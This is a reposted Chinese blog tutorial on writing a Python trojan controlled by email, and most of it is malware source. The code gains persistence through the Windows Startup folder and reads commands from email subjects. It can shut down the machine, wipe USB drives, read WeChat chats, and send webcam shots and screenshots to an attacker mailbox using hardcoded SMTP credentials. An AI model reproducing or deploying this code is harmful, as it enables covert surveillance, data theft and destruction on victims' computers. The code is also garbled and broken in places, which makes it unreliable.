返回顶部
首页 > 资讯 > 后端开发 > Python >python结合邮件制作木马程序
  • 139
分享到

python结合邮件制作木马程序

python 2023-09-05 08:09:01 139人浏览 泡泡鱼

Python 官方文档:入门教程 => 点击学习

摘要

新人的第一篇文章,求点赞支持 注意:文章仅用于学习,不可用于非法用途 1.载入库 使用的库比较多,具体用途就不说了 import emailimport email.headerimport imaplibfrom bs4 import

新人的第一篇文章,求点赞支持

注意:文章仅用于学习,不可用于非法用途


1.载入库

使用的库比较多,具体用途就不说了

import emailimport email.headerimport imaplibfrom bs4 import BeautifulSoupimport osimport timeimport reimport tkinter.messageboxfrom tkinter import *import cv2from PIL import ImageGrabfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.utils import fORMataddrimport smtplibfrom email.mime.image import MIMEImageimport win32apiimport win32conimport ctypesimport shutilimport tkinter as tkfrom tkinter import messagebox,ttk,filedialogimport smtplib,osfrom email.mime.application import MIMEApplicationfrom email.header import Headerfrom wxauto import *import smtplibimport psutilimport threadingimport Socket

2.开机自启动

一个病毒想要让它长久运行下去,开机自启动是非常重要的部分,这个原理是将病毒移动到开机程序文件夹中

t = os.getcwd()+'\\'file_a_path = '病毒.exe' #exe后缀不能去掉file_b_path = 'system windows.exe'folder2_path = 'C:\\Users\\' + os.getlogin() +'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'try:    shutil.move(t + file_a_path, folder2_path + file_b_path)except Exception as e:    print('error',e)

3.病毒向邮箱发送接受请求,并接收以及执行指令

while True:    time.sleep(10)    class IMAP:        def __init__(self):            self.user_id = ''  # 163邮箱地址            self.passWord = ''            self.imap_server = 'imap.163.com'         def login(self):            while True:                try:                    serv = imaplib.IMAP4_SSL(self.imap_server, 993)  # SSL加密                    print('imap4 服务器连接成功')                except Exception as e:                    print('imap4 服务器连接失败:', e)                    time.sleep(1)                 try:                    serv.login(self.user_id, self.password)                    print('imap4 登录成功')                    return serv                    break                except Exception as e:                    print('imap4 登录失败:', e)                    time.sleep(1)         def loginout(self, conn):            conn.close            conn.loGout()         def get_content(self, conn):            conn.select()            ret, data = conn.search(None, 'ALL')  # 所有邮件            email_list = data[0].split()            if len(email_list) == 0:                print('收件箱为空')            item = email_list[len(email_list) - 1]            ret, data = conn.fetch(item, '(RFC822)')            msg = email.message_from_string(data[0][1].decode('gbk'))            sub = msg.get('subject')            email_from = msg.get('from')            email_to = msg.get('to')            sub_text = email.header.decode_header(sub)            email_from_text = email.header.decode_header(email_from)            email_to_text = email.header.decode_header(email_to)            if sub_text[0]:                sub_detail = self.tuple_to_str(sub_text[0])            email_from_detail = ''            for i in range(len(email_from_text)):                email_from_detail = email_from_detail + self.tuple_to_str(email_from_text[i])            email_to_detail = ''            for i in range(len(email_to_text)):                email_to_detail = email_to_detail + self.tuple_to_str(email_to_text[i])             print('主题:', sub_detail)            print('发件人:', email_from_detail)            print('收件人:', email_to_detail)            b= ['9527']            for i in b:                if i in sub_detail:                    if ae==Flase:                        ae=True                        t= re.findall('[\u3002\uff1b\uff0c\uff1a\u201c\u201d\uff08\uff09\u3001\uff1f\u300a\u300b\u4e00-\u9fa5]',sub_detail)                        root=Tk()                        root.title(t)                        root['width']=400                        root['height']=30                        root.after (10000, root.destroy)                        root.mainloop()            c= ['2795']            for i in c:                if i in sub_detail:                    if af==Flase:                        af=True                        t= re.findall('[\u3002\uff1b\uff0c\uff1a\u201c\u201d\uff08\uff09\u3001\uff1f\u300a\u300b\u4e00-\u9fa5]',sub_detail)                        window.title(t)                        window = Tk()                        window.title(t)                        window.geometry('500x100')                        name_input = Text(window,width='40',height='3')                        name_input.pack()                        def print_name():message = MIMEText('content','plain','utf-8')message['Subject'] = name_input.get()message['From'] = sender message['To'] = receivers[0]  try:    smtpObj = smtplib.SMTP()     smtpObj.connect(mail_host,25)    smtpObj.login(mail_user,mail_pass)     smtpObj.sendmail(        sender,receivers,message.as_string())     smtpObj.quit()     print('success')except smtplib.SMTPException as e:    print('error',e) #打印错误Button(window,text='发送',command=print_name).pack()root.after (100000, root.destroy)window.mainloop()            if sub_detail=='关闭':                if ag==Flase:                    ag=True                    os.system('shutdown -s -t 00')            if sub_detail=='删除U盘':                if ah==Flase:                    ah=True                    def run():                        for i in range(100):time.sleep(3)for item in psutil.disk_partitions():    if "removable" in item.opts:        try:            os.remove('E:/')            os.remove('F:/')            os.remove('G:/')            os.remove('H:/')        except Exception as e:            print('0')                    if __name__ == "__main__":                        run()            if sub_detail=='查看微信':                if ai==Flase:                    ai=True                    wx.ChatWith(who)                    msgs = wx.GetAllMessage                    while msgs[0][0] == '查看更多消息':                        wx.LoadMoreMessage(1)                        msgs = wx.GetAllMessage                        print(f'总共有{len(msgs)}条')                        with open('369.txt', 'w', encoding='utf=8') as file:                        for msg in msgs:file.write('%s : %s\n' % (msg[0], msg[1]))                    print(f'总共有{len(msgs)}条')                    message = MIMEMultipart()                    message['From'] = sender                    message['To'] = receivers[0]                    message['Subject'] = 'title'#设置txt参数                    part2 = MIMEText(content2,'plain','utf-8')#附件设置内容类型,方便起见,设置为二进制流                    part2['Content-Type'] = 'application/octet-stream'#设置附件头,添加文件名                    part2['Content-Disposition'] = 'attachment;filename="369.txt"'#添加照片附件#将内容附加到邮件主体中                    message.attach(part2)#登录并发送                    try:                        smtpObj = smtplib.SMTP()                        smtpObj.connect(mail_host,25)                        smtpObj.login(mail_user,mail_pass)                        smtpObj.sendmail(                        sender,receivers,message.as_string())                        print('success')                        smtpObj.quit()                    except smtplib.SMTPException as e:                        print('error',e)                    os.remove("369.txt")            if sub_detail=='继续':                ae=Flase                af=Flase                ag=Flase                ah=Flase                ai=Flase                aj=Flase            if sub_detail=='观察':                if aj==Flase:                    aj=True                    def get_photo():                        cap = cv2.VideoCapture(0)  # 开启摄像头                        while True:f, frame = cap.read()  # 将摄像头中的一帧图片数据保存cv2.imwrite('14.png', frame)  # 将图片保存为本地文件cv2.waiTKEy(25)cap.release()  # 关闭摄像头break                    if __name__ == '__main__':                        get_photo()                    mail_host = 'smtp.163.com'                    mail_user = 'kety5288'                    mail_pass = 'KTLTMZQIMVFKUXPI'                    sender = 'kety5288@163.com'                    receivers = ['zqw13564153472@outlook.com']                    message = MIMEMultipart()                    message['From'] = sender                    message['To'] = receivers[0]                    message['Subject'] = '照片'                    with open('14.png','rb')as fp:                        picture = MIMEImage(fp.read())                        picture['Content-Type'] = 'application/octet-stream'                        picture['Content-Disposition'] = 'attachment;filename="14.png"'                    message.attach(picture)                    try:                        smtpObj = smtplib.SMTP()                        smtpObj.connect(mail_host,25)                        smtpObj = smtplib.SMTP_SSL(mail_host)                        smtpObj.login(mail_user,mail_pass)                        smtpObj.sendmail(sender,receivers,message.as_string())                        smtpObj.quit()                    except smtplib.SMTPException as e:                        print('error',e)                    os.remove("14.png")                    im = ImageGrab.grab()                    im.save('13.png')                    message = MIMEMultipart()                    message['From'] = sender                    message['To'] = receivers[0]                    message['Subject'] = '屏幕'                    with open('13.png','rb')as fp:                        picture = MIMEImage(fp.read())                        picture['Content-Type'] = 'application/octet-stream'                        picture['Content-Disposition'] = 'attachment;filename="13.png"'                    message.attach(picture)                    try:                        smtpObj = smtplib.SMTP()                        smtpObj.connect(mail_host,25)                        smtpObj = smtplib.SMTP_SSL(mail_host)                        smtpObj.login(mail_user,mail_pass)                        smtpObj.sendmail(sender,receivers,message.as_string())                        smtpObj.quit()                    except smtplib.SMTPException as e:                        print('error',e)                    os.remove("13.png")    if __name__ == '__main__':        IMAP = IMAP()        conn = IMAP.login()        IMAP.front(conn)        IMAP.get_content(conn)        IMAP.loginout(conn)

4.使用说明

需要自己添加邮箱和授权码,指令是要发在标题处的

5.总结

以上代码就是木马程序的核心,可以继续添加功能,但万不可做违法的事,下一期是一个炫酷的病毒控制端

来源地址:https://blog.csdn.net/2301_79455688/article/details/132379482

--结束END--

本文标题: python结合邮件制作木马程序

本文链接: https://lsjlt.com/news/394936.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python结合邮件制作木马程序
    新人的第一篇文章,求点赞支持 注意:文章仅用于学习,不可用于非法用途 1.载入库 使用的库比较多,具体用途就不说了 import emailimport email.headerimport imaplibfrom bs4 import ...
    99+
    2023-09-05
    python
  • python 邮件通知程序
    #!/usr/bin/env python # -*- coding: utf-8 -*- import sys reload(sys) from email.MIMEText import MIMEText import smtpli...
    99+
    2023-01-31
    邮件 通知 程序
  • 使用小程序制作一个电子木鱼,功德+1
    此文主要通过小程序制作一个敲木鱼的小工具,在心烦意乱的时候缓解一下焦虑。 一、创建小程序 二、设计页面 三、代码块 四、拓展开发 ...
    99+
    2023-09-10
    小程序 微信小程序 前端 木鱼 电子功德 电子木鱼
  • [Python] 程序结构与控制流
    1. 条件语句 if、else与elif语句用于控制条件代码的执行。条件语句的一般格式如下: if expression: statements elif expression: statements elif expres...
    99+
    2023-01-31
    结构 程序 Python
  • Python程序控制结构是什么
    这篇“Python程序控制结构是什么”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Pyth...
    99+
    2024-04-02
  • 用Python实现电子邮件接收程序(PO
    从网络上摘抄的代码: import poplib # 输入邮件地址, 口令和POP3服务器地址: email = raw_input('Email: ') password = raw_input('Password: ') p...
    99+
    2023-01-31
    电子邮件 程序 Python
  • Python制作回合制手游外挂简单教程(
    引入: 每次玩回合制游戏的时候,反反复复的日常任务让人不胜其烦 玩问道的时候,我们希望能够自动刷道,玩梦幻希望能自动做师门、捉鬼等等   说明: 该外挂只能模拟鼠标键盘操作,并不能修改游戏数据   我这里使用的python2.7 开发工具...
    99+
    2023-01-30
    外挂 简单 教程
  • 微信小程序怎么制作组件
    这篇“微信小程序怎么制作组件”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“微信小程序怎么制作组件”文章吧。  第一种方式,下...
    99+
    2023-06-26
  • 怎么用Python制作整蛊小程序
    小编给大家分享一下怎么用Python制作整蛊小程序,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!Python的优点有哪些1、简单易用,与C/C++、Java、C# 等传统语言相比,Python对代码格式的要求没有那么严格;...
    99+
    2023-06-14
  • 基于Python制作短信发送程序
    目录一、Python短信发送界面最后的效果二、准备:注册腾讯云账号并配置短信功能三.初始化短信发送程序窗口3.1初始化窗口菜单3.2初始化窗口控件3.3编写事件触发程序四、完整源代码...
    99+
    2023-01-29
    Python短信发送程序 Python短信发送 Python短信
  • python学习之路2(程序的控制结构)
    1.1 单分支             if <条件>:                       例:guess = eval(input())               <语句块>            ...
    99+
    2023-01-31
    之路 结构 程序
  • 一篇文章搞懂Python程序流程控制结构
    目录一、程序的组织结构1.三种基本结构2.程序流程图二、顺序结构二、选择结构(分支结构)1.单分支 if2.双分支 if…else3.多分支 if…eli...
    99+
    2024-04-02
  • SpringBoot整合redis中的JSON序列化文件夹操作小结
    目录前言快速配置JSON序列化jackson序列化Fastjson序列化需要倒入Fastjson到依赖分析参考对比更多问题参考redis数据库操作前言 最近在开发项目,用到了redi...
    99+
    2024-04-02
  • python如何实现远程控制电脑(结合微信)
    不知道大家有没有这样一个烦恼,“自己的电脑总是被别人使用,又不好意思设置密码”,所以利用python设计了一个程序来实现自由管控。 功能虽然简单,但大家可以通过其思路来实现更多的功能。 大致功能主要是两个部...
    99+
    2022-06-04
    如何实现 远程控制 电脑
  • Python怎么实现用邮件远程控制自己电脑
    这篇“Python怎么实现用邮件远程控制自己电脑”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Python怎么实现用邮件远程...
    99+
    2023-06-27
  • Git版本控制与Linux应用程序打包的完美结合
    在开发Linux应用程序的过程中,版本控制是一个非常重要的环节。Git作为目前最流行的版本控制工具之一,已经被广泛应用于开发领域。与此同时,打包是将应用程序部署到生产环境中的关键步骤。本文将介绍如何将Git版本控制与Linux应用程序打包...
    99+
    2023-10-13
    linux git 打包
  • Python+Tkinter制作股票数据抓取小程序
    目录程序布局抓取与保存功能添加功能个股查询按钮批量查询开关在前面的文章中,我们一起学习了如何通过 Python 抓取东方财富网的实时股票数据,链接如下 用 Python 爬取股票实时...
    99+
    2024-04-02
  • 基于Python制作一个汇率换算程序
    目录1.汇率换算程序案例描述案例分析代码2.新增功能案例分析代码字符串索引3.增加功能案例描述案例分析代码1.汇率换算程序 案例描述 设计一个汇率换算器程序,其功能是将外币换算成人民...
    99+
    2024-04-02
  • 利用Python制作简单的小程序:IP查
    前言 说实话,查看电脑的IP,也挺无聊的,但是够简单,所以就从这里开始吧。IP地址在操作系统里就可以直接查看。但是除了IP地址,我们也想通过IP获取地理地址和网络运营商情况。IP地址和地理地址并没有固定的关系,所以我们需要借助网络上的数据...
    99+
    2023-01-31
    简单 程序 Python
  • Python 与操作系统:程序员的魔法组合
    系统调用:Python能够执行系统调用,直接与操作系统的内核进行通信。这允许程序员访问底层硬件功能,例如文件系统操作、进程管理和网络连接。 库和模块:Python提供了一系列预建库,为操作系统交互提供了丰富的功能。例如,os模块提供文件...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作